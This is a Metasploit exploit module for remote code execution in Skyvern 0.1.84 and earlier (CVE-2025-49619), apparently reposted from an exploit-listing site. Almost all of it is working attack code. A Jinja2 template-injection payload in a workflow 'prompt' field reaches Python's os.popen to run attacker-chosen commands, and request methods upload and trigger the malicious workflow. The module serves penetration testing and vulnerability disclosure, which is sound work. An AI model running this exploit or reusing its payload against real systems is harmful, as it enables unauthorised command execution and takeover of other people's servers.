Exploit for 📄 Skyvern 0.1.84 SSTI Remote Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:203509
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Skyvern SSTI Remote Code Execution',
            'Description' => %q{
              This module exploits SSTI vulnerability in Skyvern<=0.1.84. The module requires API key to deliver requests and upload malicious workflow.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Cristian Branet', # researcher
              'msutovsky-r7' # module dev
            ],
            'References' => [
              [ 'EDB', '52335' ],
              [ 'URL', 'https://cristibtz.blog/posts/CVE-2025-49619/'],
              [ 'CVE', '2025-49619']
            ],
            'Platform' => %w[linux],
            'Arch' => ARCH_CMD,
            'Targets' => [
              [
                'Linux Target',
                {
                  'Platform' => %w[linux],
                  'Arch' => ARCH_CMD
                }
              ]
            ],
            'Payload' => { 'BadChars' => %(") },
            'DisclosureDate' => '2025-06-07',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('API_KEY', [true, 'API key for Skyvern', ''])
        ])
      end
    
      def create_workflow_json
        {
          title: Rex::Text.rand_text_alphanumeric(8),
          description: '',
          proxy_location: 'RESIDENTIAL',
          webhook_callback_url: '',
          persist_browser_session: false,
          model: nil,
          totp_verification_url: nil,
          workflow_definition: {
            parameters: [],
            blocks: [
              {
                label: 'block_1',
                continue_on_failure: false,
                block_type: 'task_v2',
                prompt: %<{% for x in ().__class__.__base__.__subclasses__() %}\n  {% if 'warning' in x.__name__ %}\n    {{ x()._module.__builtins__['__import__']('os').popen("#{payload.encoded}").read() }}\n  {% endif %}\n{% endfor %}>,
                url: '',
                max_steps: 25,
                totp_identifier: nil,
                totp_verification_url: nil
              }
            ]
          },
          is_saved_task: false
        }
      end
    
      def create_workflow
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('/api/v1/workflows'),
          'headers' => { 'X-API-Key': datastore['API_KEY'] },
          'ctype' => 'application/json',
          'data' => create_workflow_json.to_json
        })
        fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200
    
        res_json = res.get_json_document
    
        @workflow_id = res_json.fetch('workflow_permanent_id', nil)
    
        fail_with(Failure::Unknown, 'Failed to upload workflow') unless @workflow_id
      end
    
      def trigger_workflow
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('/api/v1/workflows/', @workflow_id, '/run'),
          'headers' => { 'X-API-Key': datastore['API_KEY'] },
          'ctype' => 'application/json',
          'data' => { workflow_id: @workflow_id }.to_json
        })
    
        fail_with(Failure::UnexpectedReply, 'Received unexpected response') unless res&.code == 200
    
        res_json = res.get_json_document
    
        fail_with(Failure::Unknown, 'Failed to upload workflow') unless res_json.fetch('workflow_id', nil) || res_json.fetch('workflow_run_id', nil)
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/api/v1/workflows'),
          'headers' => { 'X-API-Key': datastore['API_KEY'] }
        })
    
        return Exploit::CheckCode::Safe('Target is probably not Skyvern') unless res&.code == 200
    
        res_json = res.get_json_document
    
        return Exploit::CheckCode::Unknown('Failed to get additional information - target is either not Skyvern or you used incorrect API key') unless res_json
    
        Exploit::CheckCode::Detected('Target is Skyvern')
      end
    
      def exploit
        create_workflow
        trigger_workflow
      end
    
    end